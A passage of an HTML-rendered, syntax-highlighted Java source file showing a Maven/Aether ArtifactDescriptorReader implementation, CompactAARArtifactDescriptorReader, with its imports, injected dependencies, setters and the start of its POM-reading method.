class=\"line\"\u003e377\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e378\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e379\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e380\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e381\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e382\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e383\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e384\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e385\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e386\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e387\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e388\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e389\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e390\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e391\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e392\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e393\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e394\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e395\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e396\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e397\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e398\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e399\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e400\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e401\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e402\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e403\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e404\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e405\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e406\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e407\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e408\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e409\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e410\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e411\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e412\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e413\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e414\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e415\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e416\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e417\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e418\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e419\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e420\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e421\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e422\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e423\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e424\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e425\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e426\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e427\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e428\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e429\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e430\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e431\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e432\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e433\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e434\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e435\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e436\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e437\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e438\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e439\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e440\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e441\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e442\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e443\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.DependencyManagement;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.DistributionManagement;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.License;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.Model;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.Prerequisites;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.Relocation;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.Repository;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.DefaultModelBuilderFactory;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.DefaultModelBuildingRequest;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.FileModelSource;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.ModelBuilder;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.ModelBuildingException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.ModelBuildingRequest;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.building.ModelProblem;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.model.resolution.UnresolvableModelException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.maven.repository.internal.ArtifactDescriptorUtils;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.codehaus.plexus.component.annotations.Component;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.codehaus.plexus.component.annotations.Requirement;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.RepositoryEvent;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.RepositoryEvent.EventType;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.RepositoryException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.RepositorySystemSession;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.RequestTrace;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.artifact.Artifact;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.artifact.ArtifactProperties;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.artifact.ArtifactType;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.artifact.ArtifactTypeRegistry;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.artifact.DefaultArtifact;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.artifact.DefaultArtifactType;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.graph.Dependency;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.graph.Exclusion;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.impl.ArtifactDescriptorReader;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.impl.ArtifactResolver;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.impl.RemoteRepositoryManager;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.impl.RepositoryEventDispatcher;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.impl.VersionResolver;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.repository.WorkspaceRepository;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactDescriptorException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactDescriptorPolicy;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactDescriptorPolicyRequest;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactDescriptorRequest;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactDescriptorResult;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactRequest;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactResolutionException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.ArtifactResult;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.VersionRequest;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.VersionResolutionException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.resolution.VersionResult;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.spi.locator.Service;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.spi.locator.ServiceLocator;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.spi.log.Logger;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.spi.log.LoggerFactory;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.spi.log.NullLoggerFactory;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.transfer.ArtifactNotFoundException;\u003cbr\u003e\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.lang.reflect.Field;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.ArrayList;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.Collections;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.HashMap;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.LinkedHashMap;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.LinkedHashSet;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.List;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.Map;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.Properties;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.util.Set;\u003cbr\u003e\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e javax.inject.Inject;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e javax.inject.Named;\u003cbr\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta\"\u003e@Named\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-meta\"\u003e@Component(role = ArtifactDescriptorReader.class)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eCompactAARArtifactDescriptorReader\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorReader\u003c/span\u003e, Service \u0026#123;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@SuppressWarnings(\u0026quot;unused\u0026quot;)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Requirement(role = LoggerFactory.class)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-type\"\u003eLogger\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003elogger\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e NullLoggerFactory.LOGGER;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Requirement\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e RemoteRepositoryManager remoteRepositoryManager;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Requirement\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e VersionResolver versionResolver;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Requirement\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e ArtifactResolver artifactResolver;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Requirement\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e RepositoryEventDispatcher repositoryEventDispatcher;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Requirement\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e ModelBuilder modelBuilder;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eCompactAARArtifactDescriptorReader\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e()\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// enable no-arg constructor\u003c/span\u003e\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Inject\u003c/span\u003e\u003cbr\u003e CompactAARArtifactDescriptorReader(RemoteRepositoryManager remoteRepositoryManager, VersionResolver versionResolver,\u003cbr\u003e ArtifactResolver artifactResolver, ModelBuilder modelBuilder,\u003cbr\u003e RepositoryEventDispatcher repositoryEventDispatcher, LoggerFactory loggerFactory) \u0026#123;\u003cbr\u003e setRemoteRepositoryManager(remoteRepositoryManager);\u003cbr\u003e setVersionResolver(versionResolver);\u003cbr\u003e setArtifactResolver(artifactResolver);\u003cbr\u003e setModelBuilder(modelBuilder);\u003cbr\u003e setLoggerFactory(loggerFactory);\u003cbr\u003e setRepositoryEventDispatcher(repositoryEventDispatcher);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003einitService\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(ServiceLocator locator)\u003c/span\u003e \u0026#123;\u003cbr\u003e setLoggerFactory(locator.getService(LoggerFactory.class));\u003cbr\u003e setRemoteRepositoryManager(locator.getService(RemoteRepositoryManager.class));\u003cbr\u003e setVersionResolver(locator.getService(VersionResolver.class));\u003cbr\u003e setArtifactResolver(locator.getService(ArtifactResolver.class));\u003cbr\u003e setRepositoryEventDispatcher(locator.getService(RepositoryEventDispatcher.class));\u003cbr\u003e modelBuilder = locator.getService(ModelBuilder.class);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (modelBuilder == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e setModelBuilder(\u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultModelBuilderFactory\u003c/span\u003e().newInstance());\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CompactAARArtifactDescriptorReader \u003cspan class=\"hljs-title function_\"\u003esetLoggerFactory\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(LoggerFactory loggerFactory)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.logger = NullLoggerFactory.getSafeLogger(loggerFactory, getClass());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003esetLogger\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(LoggerFactory loggerFactory)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// plexus support\u003c/span\u003e\u003cbr\u003e setLoggerFactory(loggerFactory);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CompactAARArtifactDescriptorReader \u003cspan class=\"hljs-title function_\"\u003esetRemoteRepositoryManager\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RemoteRepositoryManager remoteRepositoryManager)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (remoteRepositoryManager == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;remote repository manager has not been specified\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.remoteRepositoryManager = remoteRepositoryManager;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CompactAARArtifactDescriptorReader \u003cspan class=\"hljs-title function_\"\u003esetVersionResolver\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(VersionResolver versionResolver)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (versionResolver == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;version resolver has not been specified\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.versionResolver = versionResolver;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CompactAARArtifactDescriptorReader \u003cspan class=\"hljs-title function_\"\u003esetArtifactResolver\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(ArtifactResolver artifactResolver)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (artifactResolver == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;artifact resolver has not been specified\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.artifactResolver = artifactResolver;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CompactAARArtifactDescriptorReader \u003cspan class=\"hljs-title function_\"\u003esetRepositoryEventDispatcher\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositoryEventDispatcher repositoryEventDispatcher)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (repositoryEventDispatcher == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;repository event dispatcher has not been specified\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.repositoryEventDispatcher = repositoryEventDispatcher;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CompactAARArtifactDescriptorReader \u003cspan class=\"hljs-title function_\"\u003esetModelBuilder\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(ModelBuilder modelBuilder)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (modelBuilder == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;model builder has not been specified\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.modelBuilder = modelBuilder;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e ArtifactDescriptorResult \u003cspan class=\"hljs-title function_\"\u003ereadArtifactDescriptor\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e ArtifactDescriptorRequest request)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e ArtifactDescriptorException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactDescriptorResult\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eresult\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorResult\u003c/span\u003e(request);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eModel\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003emodel\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e loadPom(session, request, result);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (model != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactTypeRegistry\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003estereotypes\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e session.getArtifactTypeRegistry();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (Repository r : model.getRepositories()) \u0026#123;\u003cbr\u003e result.addRepository(ArtifactDescriptorUtils.toRemoteRepository(r));\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (org.apache.maven.model.Dependency dependency : model.getDependencies()) \u0026#123;\u003cbr\u003e result.addDependency(convert(dependency, stereotypes));\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyManagement\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003emngt\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e model.getDependencyManagement();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (mngt != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (org.apache.maven.model.Dependency dependency : mngt.getDependencies()) \u0026#123;\u003cbr\u003e result.addManagedDependency(convert(dependency, stereotypes));\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e Map\u0026lt;String, Object\u0026gt; properties = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eLinkedHashMap\u003c/span\u003e\u0026lt;String, Object\u0026gt;();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003ePrerequisites\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eprerequisites\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e model.getPrerequisites();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (prerequisites != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e properties.put(\u003cspan class=\"hljs-string\"\u003e\u0026quot;prerequisites.maven\u0026quot;\u003c/span\u003e, 